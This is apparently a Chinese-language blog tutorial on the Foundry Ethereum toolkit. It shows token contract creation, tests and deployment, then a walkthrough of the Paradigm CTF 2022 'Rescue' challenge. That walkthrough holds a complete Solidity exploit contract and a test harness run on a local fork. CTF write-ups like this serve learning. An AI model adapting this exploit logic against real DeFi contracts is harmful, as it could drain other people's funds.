说明 Foundary的Github地址:foundry
安装方法 安装方法参考官方说明:
curl -L https://foundry.paradigm.xyz | bash 下载得到foundryup
foundryup 安装 foundry
组件说明 Foundry由三个不同的命令行工具(CLI)组成,包括forge,cast,和anvil。
cast Cast是一个CLI工具,用于对兼容以太坊虚拟机(EVM)的区块链进行RPC调用。使用cast,我们可以进行合约调用,查询数据,并处理编码和解码。cast有很多的子命令,参考cast-commands
执行合约不发出交易,就使用call子命令。
1 cast call 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 "balanceOf(address)(uint256)" contract_address --rpc-url rpc_url
含义:0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2是WETH的地址,上面的命令表示查询contract_address的WETH余额。
1 cast balance contract_address --rpc-url rpc_url
含义:查看某个合约下的eth
1 cast send -rpc-url rpc_url --private-key private_key solve_contract_address --value 20ether
含义:向某个合约转账20eth
Forge Forge是一个CLI工具,用于构建、测试、模糊测试、部署和验证Solidity合约,更多的指令参考forge-command
含义:创建一个test_forge的项目
1 forge install Rari-Capital/solmate@v6
含义:装由Rari-Capital拥有的solmate软件库,特别是v6。注意,@v6是可选的,如果没有指定版本,forge将安装最新版本。
含义:测试合约
Anvil 用于运行本地EVM区块链
实战 创建合约 1 forge init my_token && cd my_token
创建一个名为my_token的项目,进入该项目。 安装一个名为solmate的库,该库包含了一些常用的合约库。forge install Rari-Capital/solmate --no-commit 默认情况下,forge会创建一个名为contracts的文件夹,用于存放合约代码。在contracts文件夹下创建一个名为RoyaltyToken.sol的文件,写入如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 pragma solidity ^0.8.13; import { ERC20 } from "solmate/tokens/ERC20.sol"; contract RoyaltyToken is ERC20 { address public royaltyAddress; uint256 public royaltyFeePercentage; constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 _royaltyFeePercentage, uint256 _initialSupply ) ERC20(_name, _symbol, _decimals) { royaltyAddress = msg.sender; royaltyFeePercentage = _royaltyFeePercentage; _mint(msg.sender, _initialSupply); } function transferWithRoyalty (address to, uint256 amount) public returns (bool) { uint256 royaltyAmount = amount * royaltyFeePercentage / 100; transfer(royaltyAddress, royaltyAmount); transfer(to, amount - royaltyAmount); return true; } function transfer(address to, uint256 amount) public virtual override returns (bool) { uint256 royaltyAmount = amount * royaltyFeePercentage / 100; balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount - royaltyAmount; balanceOf[royaltyAddress] += royaltyAmount; } //transfer to the royalty address emit Transfer(msg.sender, royaltyAddress, royaltyAmount); //transfer to the original address emit Transfer(msg.sender, to, amount - royaltyAmount); return true; } }
编译合约
测试合约 一般情况下,测试代码都是放在test目录下,以.t.sol表示是一个测试文件。创建一个名为test/RoyaltyToken.t.sol的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity ^0.8.13; import {RoyaltyToken} from "src//RoyaltyToken.sol"; import "forge-std/Test.sol"; contract RoyaltyTokenTest is Test { RoyaltyToken public token; uint256 public royaltyFeePercentage = 2; uint256 public initialSupply = 10 ** 4; function setUp() public { token = new RoyaltyToken("RoyaltyToken", "ROYT", 18, royaltyFeePercentage, initialSupply); } function testTransfer() public { address alice = address(1); address bob = address(2); token.transfer(alice, 1000); assertEq(token.balanceOf(alice), 980); assertEq(token.balanceOf(address(this)), 9020); hoax(alice); token.transfer(bob, 100); assertEq(token.balanceOf(alice), 880); assertEq(token.balanceOf(bob), 98); assertEq(token.balanceOf(address(this)), 9022); } }
通过forge test -vvv查看编译结果;
setUp(),表示创建一个合约,所有的测试必须包含这个方法;
assertEq(),断言;
hoax(),表示创建一个地址,该地址有一些ether,用于测试转账,下一次的合约调用将会使用这个地址。
部署合约 1 forge create src/RoyaltyToken.sol:RoyaltyToken --private-key=$PRIV_KEY --constructor-args arg0 arg1 arg2
如果合约没有构造函数,可以不用--constructor-args参数。--private-key参数是用于部署合约的私钥,--constructor-args参数是用于构造函数的参数。
调用合约的方法
1 2 cast call $CON_ADDRESS "name():(string)" cast send --private-key $PRIV_KEY $CON_ADDRESS "mint(uint256)" 1
部署到链上
1 2 3 4 forge verify-contract \ --chain $CHAIN_ID \ --compiler-version $COMPILER_VERSION \ $CON_ADDRESS src/RoyaltyToken.sol:RoyaltyToken $ETHERSCAN_API_KEY
实战Rescue 本章节以paradigm 2022 ctf中的resuce题目作为例子,演示如何实际部署一个项目。
fork链上环境 1 anvil --fork-url=rpc_url
成功运行执行之后,就会输出10个可供测试的帐号,每个帐号里存在1000eth
部署rescue合约 1 2 mkdir rescue-fundry forget init resuce && cd rescue
将原来rescue中合约的sol文件全部复制到rescue-fundry/rescue/src目录下,然后执行forge build编译合约。此时的目录结构如下:
1 2 3 4 rescue/src ├── MasterChefHelper.sol ├── Setup.sol └── UniswapV2Like.sol
代码复制完毕之后,使用如下的代码部署合约到本地:
1 forge create src/Setup.sol:Setup --private-key=need_private_key --value 10ether --rpc-url=http://127.0.0.1:8545 --forc
部署合约时需要输入need_private_key。可以通过第一步中的anvil --fork-url=rpc_url选择一个即可,成功v部署之后,会输出合约地址,如下:
1 2 3 4 Compiler run successful Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 Deployed to: 0x0c626FC4A447b01554518550e30600136864640B Transaction hash: 0x202045feb352263da70d68193e74bde56640259de0c73e66b53a1b7e85819e30
Deployer,表示我们部署合约使用的账户地址
Deployed to,表示合约地址
Transaction hash,表示合约部署的交易hash
编写利用合约 在src目录下,创建Exploit.sol文件,编写如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/console2.sol"; import "./Setup.sol"; contract Exploiter { Setup setup = Setup(need_to_fill_in); address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; receive() external payable {} function rescue() public { MasterChefHelper helper = setup.mcHelper(); UniswapV2RouterLike router = helper.router(); WETH9(weth).deposit{ value: address(this).balance }(); WETH9(weth).approve(address(router), WETH9(weth).balanceOf(address(this))); address[] memory path = new address[](2); path[0] = weth; path[1] = usdt; router.swapExactTokensForTokens( 11 * (10**18), 0, path, address(this), block.timestamp ); ERC20Like(usdt).transfer(address(helper), ERC20Like(usdt).balanceOf(address(this))); path[0] = weth; path[1] = dai; router.swapExactTokensForTokens( 1 * (10**18), 0, path, address(this), block.timestamp ); ERC20Like(dai).approve(address(helper), ERC20Like(dai).balanceOf(address(this))); helper.swapTokenForPoolToken(0, dai, ERC20Like(dai).balanceOf(address(this)), 0); } }
Setup setup = Setup(need_to_fill_in);,需要将need_to_fill_in替换为setup合约地址,如上面部署合约时输出的Deployed to地址。 编写好了利用合约之后,需要创建一个Rescue.t.sol文件,用于创建我们的运行环境和调用利用合约,编写如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/Setup.sol"; import "../src/Exploiter.sol"; contract RescueTest is Test { Setup setup = Setup(need_to_fill_in); address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; function testRescue() public { vm.createSelectFork("http://127.0.0.1:8545"); Exploiter exp = new Exploiter(); vm.deal(address(exp), 11 ether); exp.rescue(); console2.log(setup.isSolved()); } }
import "../src/Exploiter.sol";,导入我们编写的利用合约
Setup setup = Setup(need_to_fill_in);,需要将need_to_fill_in替换为setup合约地址,如上面部署合约时输出的Deployed to地址。
vm.createSelectFork("http://127.0.0.1:8545");,设置我们的运行环境,这里我们使用的是本地环境,就是之前我们启动的anvil
vm.deal(address(exp), 11 ether);,表示向Exploiter转入11个以太币
exp.rescue2(),调用我们的利用合约的方法
console2.log(setup.isSolved());,调用setup合约的isSolved方法,判断是否成功利用
最终测试方法成功执行,我们就可以成功利用了,console2.log(setup.isSolved());输出的结果为true,表示我们成功利用了。
参考
https://learnblockchain.cn/article/3972
https://learnblockchain.cn/article/4524
https://www.youtube.com/watch?v=VhaP9kYvlOA